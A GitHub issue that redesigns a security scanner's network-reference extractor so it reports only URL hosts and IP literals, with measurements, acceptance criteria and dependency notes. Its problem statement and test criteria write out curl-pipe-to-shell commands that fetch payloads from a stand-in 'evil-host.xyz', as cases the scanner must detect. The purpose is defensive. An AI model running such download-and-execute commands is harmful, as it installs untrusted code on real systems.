Repository navigation
Description
Problem Statement
AGENTS.md:21-24 forbids matching against an arbitrary subset of an open set of values; its own examples are "arbitrary identifier prefixes, property suffixes, or selective web TLDs". config/constants.py still holds such lists, and their main consumer is the network-reference extractor, which runs on every file devops ai review reads (ai/review/pipeline.py:1778, and the directory probe at :818).
This item was first written about CONST_BRANCH_PREFIXES (config/constants.py:725). Nothing in src or tests reads it, and config/__init__.py does not re-export it: it is dead code.
Line numbers below are at 9c879ae on release/v0.2.25; the measurements are at the commits named with them.
How the extractor guesses. security/reference_extractor.py decides whether a dotted word such as host.name is code or a hostname with three lists and a DNS lookup:
CONST_CODE_CONFIG_PREFIXES(constants.py:916) holds 13 identifier prefixes such asself.,cli.andotel.. Read atreference_extractor.py:506and:614.CONST_COMMON_PROPERTY_SUFFIXES(constants.py:933) holds 49 property names. Read at:510and:687.- Only 15 of the 49 are public suffixes, for example
name,id,run,email,pidandtotal. - The other 34 never change a result: a word without a public suffix is already treated as code at
:676-677. - For the 15, the code falls back to a live DNS lookup (
_is_resolvable_domain,:484-490, reached fromis_code_or_config_referenceat:685-688).
- Only 15 of the 49 are public suffixes, for example
CONST_TELEMETRY_CALL_NAMES(constants.py:997) is matched as substrings of call names at:433to find metric keys.
What goes wrong.
- The lists keep missing words. At HEAD the extractor reports code words whose suffix is not on the list:
valkey.host(config/options.py:69),hatchling.build(pyproject.toml:3),ai.runs.show(commands/ai_runs.py:458) andresources-finalizer.argocd.argoproj.io(k8s/argocd/apps/root-app.yaml:7). - Taking the lists out alone is worse. Over the tracked files, with DNS blocked, emptying the three lists adds about 70 code words as hosts and removes none (measured at ef21785).
- The DNS fallback only runs in production. Tests block every external lookup (
tests/conftest.py:118-163), so the branch that treats a resolving name as a host has no test. In production, each such word costs a DNS query. - Misread words leave the workstation. References other than IPs are looked up in Cloudflare Radar (
ai/review/pipeline.py:1888-1889,security/vulnerability_lookup.py:414).
Other subsets in the same module.
- URL schemes. A URL counts only if it starts with
http,httpsorftp(:209,:796-798,:1021), and onlyhttpandhttpssurvive (:1027). Hosts inredis://,postgresql://orwss://URLs are never reported. - Download URLs are skipped on any host.
is_package_repository_asset(:960-1010) skips any URL whose path looks like an archive (mimetypes.guess_type,:977-994), or that contains/packages/,/crates/,/v3-flatcontainer/,/downloads/or/repository/(:996-1008), whatever the host. The workflow stepcurl https://evil-host.xyz/payload.tar.gz | tar xzproduces no reference, so no reputation check runs. - Dead keyword list.
_extract_domain_referencehas an inline keyword list for.exampleand.samplenames (:1152-1167). Every such name is rejected anyway, by the RFC 2606 check at:1149or because it has no public suffix. The block never decides anything. api.exception.is_network_domainskips listed registries unless the host starts withapi.(:743).
Why nothing better can be guessed. No grammar or registry tells host.name the OpenTelemetry attribute apart from host.name the registrable domain (hatchling.build, eks.amazonaws.com and resources-finalizer.argocd.argoproj.io all carry real public suffixes). The parsers that do exist are the URL parser (RFC 3986, urllib.parse) and ipaddress. This item makes the extractor report only what those parsers recognise, and deletes the lists and the code that only existed to serve them.
Measurements. Scratch scripts imported the module, emptied the constants in memory and blocked socket.getaddrinfo; nothing in the tree was changed. The counts move with every commit, so the delivering PR takes its own before figure at its base commit.
- At ef21785 the extractor reported 264 bare-word (
domain) references in 135 files: 141 external and 123 local. At 9da1309 (1,621 tracked files) it reports 288 in 154 files: 164 external and 124 local. The 647urland 158ipreferences are unaffected by this item except where the any-scheme rule adds hosts. - With the prefix list or the telemetry list emptied, all 35 tests in
tests/test_reference_extractor.pypass. With the suffix list emptied, 1 fails; with all three emptied, 2 fail. - The 128 tests in the review pipeline, runner, report and finding-loss modules pass with all three emptied.
Proposed Solution
A network reference is one of exactly two things:
- a URL with a host, in any scheme, parsed by
urllib.parse.urlsplit; or - an IP literal, parsed by
ipaddress.
A bare dotted word is never a reference, in any file type. That includes a bare localhost, and it includes a whole config scalar value such as host: db.vendor-x.io in YAML, JSON, TOML or HCL (decided No on 2026-10-02; see Key Questions). A http://localhost:… URL still counts. The any-scheme rule replaces the http/https/ftp tuples at :209 and :1021 and the ("http", "https") check at :1027; the tuple at :796-798 goes with the dict-key filter it guards.
Everything that only served bare-word classification is deleted, without shims:
- Constants (and their imports and
__all__entries inconfig/__init__.py:70-71,87,142,145,521-522,538,593,596):CONST_BRANCH_PREFIXES(constants.py:725),CONST_CODE_CONFIG_PREFIXES(:916),CONST_COMMON_PROPERTY_SUFFIXES(:933),CONST_TELEMETRY_CALL_NAMES(:997),CONST_STANDARD_RECEIVER_IDENTIFIERS(:913) andCONST_EXCLUDED_FILE_MIME_TYPES(:988).CONST_RFC2606_RESERVED_TLDS(:838),CONST_RFC2606_RESERVED_DOMAINS(:847),CONST_SPECIAL_USE_TLDS(:857) andCONST_EXCLUDED_PUBLIC_REGISTRIES(:873) stay. - Functions in
reference_extractor.py:_get_workspace_filenames(:284),_is_routable_dns_ip(:475),_is_resolvable_domain(:484),_is_metric_or_telemetry_context(:493),_is_known_python_module(:520),is_file_reference(:531),is_code_or_config_reference(:596),is_network_domainincluding itsapi.exception (:695), and_extract_domain_referenceincluding the:1152-1167block (:1115). - Other code in
reference_extractor.py:- the
PythonSymbolContext,_resolve_attribute_chain,_resolve_call_func,PythonSymbolVisitorand_parse_python_file_symbolssymbol pass (:333-472); - the dict-key and telemetry-argument filter that uses the visitor in
_extract_python_literals_and_comments(:789-799). Those literals are then scanned like any other literal; - the
git configregex in_clean_yaml_scalar(:843); - the module-level
mimetypes.add_typeregistrations (:52-62); - the
domainentry in_REF_TYPE_RANKS(:1241) and the "domain, url, ip" wording in the two sort docstrings (:1245-1246,:1260-1261); - the step-3 domain branch in
extract_network_references(:1359-1371); - the imports that become unused once those go:
builtins(used only at:628),importlib.util(:525),keyword(:643,650),mimetypes(:51-62,573,978),os(:293),socket(:487-489),sys(:629),detect_language(:31, used at:576) and_get_pathspec_for_repo(:45, used at:291).ast,tokenizeandtldextractstay (_TLD_EXTRACTORis still read at:175and:277).
- the
- Re-exports:
is_code_or_config_reference,is_file_reference,is_network_domainandis_package_repository_assetleave the module__all__(:112-130);is_file_referenceandis_network_domainleavesecurity/__init__.py:23,25,79,81. - The
domainreference type. TheNetworkReference.reference_typedefault and comment (models/vulnerability.py:47) and the table default (output/formatters/tables.py:218) becomeurl. Review fixtures that builddomainreferences switch tourlwith a URL target, since aurlreference with a bare-host target is a shape the extractor never emits (tests/test_review_pipeline.py:615api.example-corp.com,:924malicious-site.cc;tests/test_review_report_summary.py:213example.com), as do the sixdomainfixtures in the dedupe and sort tests (tests/test_reference_extractor.py:1180,1189,1198,1222,1231,1258:homelab.localtwice,api.github.com,malicious.example-bad.com,api.vendor.com,argocd.homelab.local).NetworkIntelResult.target_type(models/security.py:84) is a different model and is unchanged. The pipeline's Radar split (rtype != "ip",pipeline.py:1888-1889) is unchanged.
Registry URLs are skipped by host only. is_package_repository_asset keeps the host match against CONST_EXCLUDED_PUBLIC_REGISTRIES (:970-973) and drops the MIME and path guesses (:976-1008). It is renamed to say what it checks, for example is_trusted_registry_host.
Tests:
- Rewrite the affected tests in
tests/test_reference_extractor.py(every test that asserts a bare word is or is not a reference, and the direct calls to the deleted functions at:12,:506-541,:591-616,:641-659,:717-734,:792-829,:867-898,:918-944,:1152-1157). - Drop the
is_file_referenceimport (tests/test_codebase_hygiene_and_shims.py:27) and assertions (:178-180) fromtest_reference_extractor_no_hardcoded_extensions; its twohasattrassertions (:174-175) stay. - Correct the comment above the
getaddrinfoguard intests/conftest.py:122-124, which still says the extractor resolves every domain-like token. fix(test): the test network guard refuses loopback connects to services the test did not start #837 shipped in v0.2.24 and left that sentence in place, so this item owns it.
Task file: rewrite docs/agent/tasks/task-431-anti-brittle-constant-elimination.md in the delivering PR. Its current text (Status Backlog, Milestone v0.2.25, "eliminates arbitrary string list subsets across configuration modules … structural git invariants") describes the original scope, not this one; renaming it to match the current title keeps the task-<issue>-<slug>.md form the task-file naming rule requires.
Scope
One pull request. It touches src/devops_cli/security/reference_extractor.py, src/devops_cli/security/__init__.py, src/devops_cli/config/constants.py, src/devops_cli/config/__init__.py, src/devops_cli/models/vulnerability.py, src/devops_cli/output/formatters/tables.py, tests/test_reference_extractor.py, tests/test_codebase_hygiene_and_shims.py, tests/conftest.py (one comment), tests/test_review_pipeline.py, tests/test_review_report_summary.py, the task file and changelog.d/431.md. No new dependency: tldextract stays for the RFC 2606 and special-use checks on URL hosts. Pre-1.0: removed names go without aliases. Tests never touch the network or DNS, and each new test costs at most 1 s.
Key Questions
- Should bare words still be reported? No. Neither the Public Suffix List nor DNS can tell an attribute name from a registrable domain; both kinds of error cost something (misread code goes to Cloudflare Radar, DNS makes the result depend on the network). What is lost, measured at ef21785:
- 141 external references (164 at 9da1309): documentation mentions (the knowledge base and task files); test fixtures; comparison allowlists such as
parsed.netloc in ("api.github.com", "github.com")(github/client.py:165) and theollama.comcheck (ai/models/ollama.py:105); help-text examples (commands/cloudflare.py:238); the Argo finalizer names; two IAM service principals (tf/aws/main.tf:120,:162); tworegistry: ghcr.ioworkflow values (.github/workflows/ci.yml:154,release.yml:132). - 123 local references (124 at 9da1309): bare
localhost, cluster service names in TLS SAN lists (crypto/tls_certificates.py:336-337) and in Kubernetes config (k8s/llm/gateway/deployment.yaml:63,k8s/logging/fluent-bit-values.yaml:49), and the default endpoints inconfig/defaults.py:171-174. Local names never reach Radar (security/vulnerability_lookup.py:584,:614), so they only drop out of the reference inventory. - Other repositories. Reviews of other repositories lose more where config names a host as a bare value:
host: db.vendor-x.ioin YAML is reported today and would not be.
- 141 external references (164 at 9da1309): documentation mentions (the knowledge base and task files); test fixtures; comparison allowlists such as
- Should whole YAML, JSON, TOML and HCL scalar values also count as hosts? No (owner decision, 2026-10-02): a reference is only a URL with a host or an IP literal, and the single rule stands. Counting whole scalars would bring back 8 references in this repository, of which 5 are not hosts (
hatchling.build, the two Argo finalizer names, the two IAM principals) and 3 are (ghcr.iotwice,valkey.llm.svc.cluster.local); every one of the 5 carries a real public suffix, so no registry check can separate them, and the item would keep a guess it set out to remove. The bare-word test below therefore includes a config scalar in each of the four formats. If reviews of other repositories show the loss matters, a scalar rule is its own later item with its own measurement. - Should
host:portwithout a scheme count? No. The requiredfile.ext:linelocation format (AGENTS.md:389) parses ashost:port, and.py,.sh,.mdand.rsare country-code suffixes in the Public Suffix List, so everyserver.py:42would become a host. - Which URL schemes count? Any scheme with an authority, per RFC 3986 §3.2. The
http/https/ftptuple is itself a subset.- A URL without a host, such as
file:///x, gives nothing. - Some schemes put a name in the authority that is not a DNS host.
s3://bucket/keyreportsbucketas a local host (no dot,:1046).vscode://publisher.extensionreports an external host, which reaches Radar. Accepted: such URLs are rare in reviewed code, and filtering them would need a scheme list. jdbc:postgresql://db.vendor-x.io/appgives nothing, becauseurlsplitreadspostgresql://…as the path of thejdbcscheme.
- A URL without a host, such as
- Is
CONST_EXCLUDED_PUBLIC_REGISTRIESa brittle list too? No. It is a declared list of trusted hosts, not a guess about an open set. A host missing from it gets checked, which is the safe direction. Only the MIME and path guesses go. - What about the removed public functions? Remove without shims. Outside the module, only its tests and one assertion group in
tests/test_codebase_hygiene_and_shims.py:178-180call them, and the project is pre-1.0. - Does the
domainreference type stay? No. The extractor no longer emits it. The model default, the sort rank and the table default becomeurl, and the fixtures that builddomainreferences switch tourl. - Does this item also handle the other open-ended lists in
config/? No. Each one has another owner:CONST_FRONTIER_MODEL_PREFIXES(constants.py:2037, read atai/capability.py:95) goes to feat(cli): measured per-deployment capability probes replacing parameter-count failover floors #595.CONST_GITHUB_RATE_LIMIT_PATTERNSandCONST_GITHUB_SECONDARY_RATE_LIMIT_PATTERNS(constants.py:340-357) stay for refactor(github): one github session per identity owning token, quota and transport #767, whose body already cites those patterns (asconfig/constants.py:248-265); refactor(github): the github session owns transport, ledger, error classes and link pagination #983 later replaces them with its classifier.- The review heuristics over model-written finding text (read in
ai/review/verification.py,construct_validator.pyandreview_environment.py) go to refactor(review): one rulebook for known false positives #770 and fix(review): verdicts bind across conflicting titles and absence wording shields nonexistent constructs #790. Free text has no parser. feat(cli): measured per-deployment capability probes replacing parameter-count failover floors #595 and refactor(review): one rulebook for known false positives #770 do not name these constants yet; record the hand-off when they are refined. DEFAULT_PROMPT_INJECTION_PATTERNS(defaults.py:583) goes to feat(cli): prompt-injection smuggling detector and canary audit (devops scan injection) #589.CONST_CONTINUOUS_BATCHING_ENGINES(constants.py:2720, read atai/gateway_tune.py:196) stays, per chore(ai): remove the code, config and policies left over from the removed vLLM deployments #820's proposed answer.CONST_ROADMAP_SCOPE_KEYWORDSis already gone: feat(github): github-sourced roadmap, migration and generated roadmap view (devops roadmap migrate,render) #739 merged in 6948e1c and deleted bothgithub/roadmap_sync.pyand the constant. Nothing to do here.- The local-name lists, the reasoning-model name lists and the secret-masking receiver list are the three split-offs (fix(security): local names come from the public suffix list, and domains match on DNS labels, not string suffixes #887, fix(ai): reasoning request parameters follow the model's declared capability, not its name #888, fix(security): secret masking tells code from literals by the file's syntax, not by receiver names #889).
- Should this item add a lint against new subset lists? No, and none is planned elsewhere. A lint cannot tell a closed list from an open one without a waiver list of its own. refactor(config): the config barrel and the unused config names go, and the package inits stop re-exporting #776 proposes making the AGENTS.md:24 audit an AST listing of module-level literal collections that a person reviews; that listing replaces the lint (feat(github): board-owned project status, declared field sources and truthful project sync #703 had deferred one here).
- Does AGENTS.md change? No. AGENTS.md:23 still names DNS lookups and AST visitors as tools against brittle lists, and this item stops using them for host detection. AGENTS.md is being rewritten under docs(agents): instruction surfaces state only what is true, and
devops ai agentsnever overwrites AGENTS.md #840 and docs(agents): AGENTS.md fits a context budget and Claude Code loads it #841, so any wording change belongs there; docs(agents): instruction surfaces state only what is true, anddevops ai agentsnever overwrites AGENTS.md #840 does not name line 23 yet. - What happens to fix(review): reference extraction checks the disk once per directory, not once per token #750? This item deletes
is_file_reference, the function fix(review): reference extraction checks the disk once per directory, not once per token #750 speeds up. If this item merges first, close fix(review): reference extraction checks the disk once per directory, not once per token #750 as not planned. fix(review): reference extraction checks the disk once per directory, not once per token #750 has no release. - How should tests assert? With structural tuple assertions (AGENTS.md:15-17) until test(cli): retire the tuple-assert mandate and detect opaque tuple asserts and presence-only tests #851 settles the question.
- Is the inline lockfile-name tuple in
is_lockfile_or_ignore_file(:933-957) in scope? No. It is a declared list of known lockfile names, like the registry list, and this item's rule does not touch it. Moving it intoconstants.pyto satisfy AGENTS.md:24's placement rule is a separate candidate. - Where does this PR sit in v0.2.26? After feat(cli): extend the ruff rule set to the correctness families #420 and before refactor(github): one github session per identity owning token, quota and transport #767. feat(cli): extend the ruff rule set to the correctness families #420 merges first in the release because it fixes lint sites in files this item edits (
config/constants.pyamong them); this item then leaves the rate-limit patterns atconstants.py:340-357untouched so refactor(github): one github session per identity owning token, quota and transport #767 rebases only over the deletions at:725and:913-1013.
Acceptance Criteria
-
Removed names are gone.
grep -rnE 'CONST_(BRANCH_PREFIXES|CODE_CONFIG_PREFIXES|COMMON_PROPERTY_SUFFIXES|TELEMETRY_CALL_NAMES|STANDARD_RECEIVER_IDENTIFIERS|EXCLUDED_FILE_MIME_TYPES)|_is_resolvable_domain|_is_routable_dns_ip|is_code_or_config_reference|is_network_domain|is_file_reference|_get_workspace_filenames|_is_metric_or_telemetry_context|_is_known_python_module|_extract_domain_reference|PythonSymbol|_parse_python_file_symbols|is_package_repository_asset|mimetypes\.add_type|reference_type="domain"' src testsprints nothing. Verified by running the command in the PR. -
No DNS. A test in
tests/test_reference_extractor.pypatchessocket.getaddrinfoandsocket.gethostbynameto raiseAssertionError, runsextract_network_referencesover Markdown, Python, YAML and TOML samples full of dotted words, and passes. Verified by the test. -
Bare words are not references. A parametrised test asserts no reference for each case below:
- code words:
valkey.host,hatchling.build,ai.runs.show,resources-finalizer.argocd.argoproj.io,service.name,host.name,user.email,process.pid,metadata.nameandagent.tokens.total; - two real-looking hosts, so the test checks the rule and not a word list:
prod-infra.custom-cloud.ioandghcr.io; - a bare
localhost; - a whole config scalar value in each format, per the decision above:
host: db.vendor-x.ioin YAML,"host": "db.vendor-x.io"in JSON,host = "db.vendor-x.io"in TOML and in HCL; - syntax: each word in a Python assignment and a decorator argument, a TOML value, a YAML value and list item, Markdown prose and a comment.
Verified by the test.
- code words:
-
URLs in any scheme report their host. Each of
https://api.vendor-x.io/v1,redis://cache.vendor-x.io:6379/0,postgresql://[email protected]/appandwss://stream.vendor-x.io/feedgives oneurlreference marked external. The same forms with a private IP orlocalhosthost are marked local.file:///xandjdbc:postgresql://db.vendor-x.io/appgive none. Verified by a test. -
Download URLs are checked by host. In a workflow
run:block,curl -fsSL https://evil-host.xyz/payload.tar.gz | tar xzandcurl https://evil-host.xyz/downloads/run.sh | sheach give a reference. Ahttps://files.pythonhosted.org/packages/…/x.whlURL still gives none. Verified by a test. -
Literals in dict keys and telemetry calls are scanned. In a Python file,
{"8.8.8.8": 1}andcounter("8.8.8.8")each give oneipreference. At HEAD both give none. Verified by a test. -
Other IP behaviour does not change.
test_is_public_ipandtest_reference_extractor_documented_examples_and_rfc_exclusionspass without edits.test_extract_network_referencesandtest_network_references_rejects_unspecified_ip_and_example_domainskeep their IP assertions as they are and lose only their bare-word assertions. Verified by the gate and the PR diff. -
The
domaintype is gone from the model and tables.NetworkReference().reference_type == "url",_REF_TYPE_RANKShas nodomainkey,grep -n '"domain"' src/devops_cli/models/vulnerability.py src/devops_cli/output/formatters/tables.py src/devops_cli/security/reference_extractor.pyprints nothing, andtest_sort_network_references_orderedpasses withurlandipfixtures only. Verified by the tests and the grep in the PR. -
Hygiene and conftest.
test_reference_extractor_no_hardcoded_extensionspasses with only its twohasattrassertions, andgrep -n 'domain-like' tests/conftest.pyprints nothing. Verified by the gate and the grep in the PR. -
Gate cost does not grow.
uv run pytest tests/test_reference_extractor.py -n 0 --durations=10shows no test call over 1 s. The PR states the module's call time before and after. At HEAD,test_extract_network_referencestakes 0.3 to 0.5 s on this devcontainer (0.6 to 0.9 s on other machines), and the workspace walk it triggers takes 0.39 s on its own. Verified by the command output in the PR. -
Before and after on this repository. The PR body gives the number of references by type and scope over
git ls-filesat its base commit and at its head, from a one-off script run with DNS blocked from the repository root; the script is not committed. At 9da1309 the script finds 288 bare-word references in 154 files (164 external, 124 local); at the PR's head it finds 0. Verified by reading the PR. -
Changelog fragment.
changelog.d/431.mdrecords the removed names, the any-scheme rule and the end of thedomaintype.CHANGELOG.mdanddocs/ROADMAP.mdare not edited. Verified bydevops pr check-readiness.
Out of Scope
- The other open-ended lists in
config/(feat(cli): measured per-deployment capability probes replacing parameter-count failover floors #595, refactor(github): one github session per identity owning token, quota and transport #767, refactor(review): one rulebook for known false positives #770, fix(review): verdicts bind across conflicting titles and absence wording shields nonexistent constructs #790, feat(cli): prompt-injection smuggling detector and canary audit (devops scan injection) #589, chore(ai): remove the code, config and policies left over from the removed vLLM deployments #820) and the three split-offs (fix(security): local names come from the public suffix list, and domains match on DNS labels, not string suffixes #887, fix(ai): reasoning request parameters follow the model's declared capability, not its name #888, fix(security): secret masking tells code from literals by the file's syntax, not by receiver names #889). - A lint against new subset lists (refactor(config): the config barrel and the unused config names go, and the package inits stop re-exporting #776 owns the audit listing).
- AGENTS.md wording (docs(agents): instruction surfaces state only what is true, and
devops ai agentsnever overwrites AGENTS.md #840, docs(agents): AGENTS.md fits a context budget and Claude Code loads it #841) and the knowledge-base pages that describetldextract(fix(ai): the knowledge base names only commands, options and components that exist #920 listssrc/devops_cli/ai/knowledge_base/devops_cli/libraries/tldextract.md:19); this item does not edit the knowledge base. - The behaviour of the network guard in
tests/conftest.py(fix(test): the test network guard refuses loopback connects to services the test did not start #837 shipped it); this item only corrects one comment. - Changing the "✓ Safe" label on external
http://URLs, which fix(github): supply-chain claims made true — live Dependabot, zizmor and workflow invocation contracts #861 owns (its roadmap entry atdocs/ROADMAP.md:1208citesreference_extractor.py:1048; at 9c879ae the label is set at:1052-1054). - The inline lockfile-name tuple in
is_lockfile_or_ignore_file, and theipv4reference type that only test fixtures use (tests/test_review_pipeline.py:923,tests/test_review_report_summary.py:212,tests/test_review_runner.py:81). - A rule that counts whole config scalar values as hosts. Decided No on 2026-10-02; if reviews of other repositories show the loss matters, it is a later item with its own measurement.
- The roadmap entry "One Source-Tree Discovery Policy for Scanners, Repomap and Indexers" (no issue number yet,
docs/ROADMAP.md:911-912) citesreference_extractor.py:290inside_get_workspace_filenames, which this item deletes; that entry re-cites when it is filed.
Dependencies
- Depends on: none.
- Lands after:
- feat(cli): extend the ruff rule set to the correctness families #420 — first merge of v0.2.26; it fixes 146 lint sites in files this item edits,
config/constants.pyamong them, so this PR rebases onto it instead of forcing feat(cli): extend the ruff rule set to the correctness families #420 to rebase.
- feat(cli): extend the ruff rule set to the correctness families #420 — first merge of v0.2.26; it fixes 146 lint sites in files this item edits,
- Lands before:
- refactor(github): one github session per identity owning token, quota and transport #767 — this item leaves
CONST_GITHUB_RATE_LIMIT_PATTERNSandCONST_GITHUB_SECONDARY_RATE_LIMIT_PATTERNS(config/constants.py:340-357) in place for refactor(github): one github session per identity owning token, quota and transport #767 Part A, and refactor(github): one github session per identity owning token, quota and transport #767 rebases over this item's deletions at:725and:913-1013of the same file. - refactor(github): the github session owns transport, ledger, error classes and link pagination #983 — Part B of refactor(github): one github session per identity owning token, quota and transport #767 (v0.2.28) replaces those rate-limit patterns with its classifier; it inherits the file this item has already trimmed.
- fix(security): egress guards refuse cloud metadata in every numeric, NAT64 and provider form, classified by ipaddress and one maintained library #897 — adds one constant further down
config/constants.py(v0.2.27); trivial rebase, order fixed by release. - fix(ai): the knowledge base names only commands, options and components that exist #920 — lands last (v0.2.27, or v0.2.28 if moved at the v0.2.25 cut) and its replacement text for
src/devops_cli/ai/knowledge_base/devops_cli/libraries/tldextract.md:19describes this item's rule: hosts in URLs, not "domains found in scanned code".
- refactor(github): one github session per identity owning token, quota and transport #767 — this item leaves
- Overlaps:
- docs(agents): instruction surfaces state only what is true, and
devops ai agentsnever overwrites AGENTS.md #840 — owns AGENTS.md wording (v0.2.27); AGENTS.md:23 still names DNS lookups and AST visitors as tools against brittle lists, which this item stops using for host detection, and this item does not edit AGENTS.md.
- docs(agents): instruction surfaces state only what is true, and
- Related:
- fix(github): supply-chain claims made true — live Dependabot, zizmor and workflow invocation contracts #861 — edits the "✓ Safe" label inside
_extract_url_reference(reference_extractor.py:1052-1054at 9c879ae; its roadmap entry cites:1048), which this item edits for the any-scheme rule; not in v0.2.26 or v0.2.27. - fix(review): reference extraction checks the disk once per directory, not once per token #750 — made obsolete by this item; close as not planned once this merges.
- feat(github): board-owned project status, declared field sources and truthful project sync #703 — closed; deferred the literal-subset lint here.
- refactor(config): the config barrel and the unused config names go, and the package inits stop re-exporting #776 — its AST listing replaces that lint.
- feat(github): github-sourced roadmap, migration and generated roadmap view (
devops roadmap migrate,render) #739 — merged in 6948e1c; the scope keyword list and its reader are already gone. - fix(test): the test network guard refuses loopback connects to services the test did not start #837 — merged; owns the conftest network guard.
- test(cli): retire the tuple-assert mandate and detect opaque tuple asserts and presence-only tests #851 — assertion style.
- feat(cli): measured per-deployment capability probes replacing parameter-count failover floors #595, refactor(review): one rulebook for known false positives #770, fix(review): verdicts bind across conflicting titles and absence wording shields nonexistent constructs #790, feat(cli): prompt-injection smuggling detector and canary audit (
devops scan injection) #589, chore(ai): remove the code, config and policies left over from the removed vLLM deployments #820 — the other lists, each with its own owner.
- fix(github): supply-chain claims made true — live Dependabot, zizmor and workflow invocation contracts #861 — edits the "✓ Safe" label inside
- Split off (backlog):
- fix(security): local names come from the public suffix list, and domains match on DNS labels, not string suffixes #887 — one local-name check from the special-use registry and configured private zones.
- fix(ai): reasoning request parameters follow the model's declared capability, not its name #888 — reasoning request parameters follow the model's declared capability, not its name.
- fix(security): secret masking tells code from literals by the file's syntax, not by receiver names #889 — secret masking tells code from literals by the file's syntax, not by receiver names.
Metadata
Metadata
Assignees
Labels
Type
Projects
- StatusShow more project fieldsDone
Activity
dan-petty commentedon Oct 1, 2026
Moved from v0.2.25 to v0.2.26 to make room for the seven P1 items left open in the shipped v0.2.23, which were committed earlier. The roadmap-job items placed in v0.2.25 stay, and this item is among the oldest of the rest.
[-]feat(cli): anti-brittle constant elimination[/-][+]fix(security): network references come from url and ip syntax, not identifier-prefix and property-suffix lists[/+]dan-petty commentedon Oct 3, 2026
Lines cited at dcafadf.
Two rewritten items touch
security/reference_extractor.pyafter this item lands. Neither changes what this item does.:74-102, read at:134-156and:230-260) withipaddressclassification. Leave those lines as they are, as this item's "Other IP behaviour does not change" criterion already requires.is_local_or_reserved_domain(:263-280) andCONST_SPECIAL_USE_TLDS(config/constants.py:1048-1062) stay as this item already leaves them. fix(security): local names come from the public suffix list, and domains match on DNS labels, not string suffixes #887 only swaps the sharedtldextractextractor at:64for one that writes nothing under the home directory, so it needs this item to keep that extractor.:64instead of adding names to the list.fix(security): network references come from url and host arguments, n…
feat(release): v0.2.26 (#1178)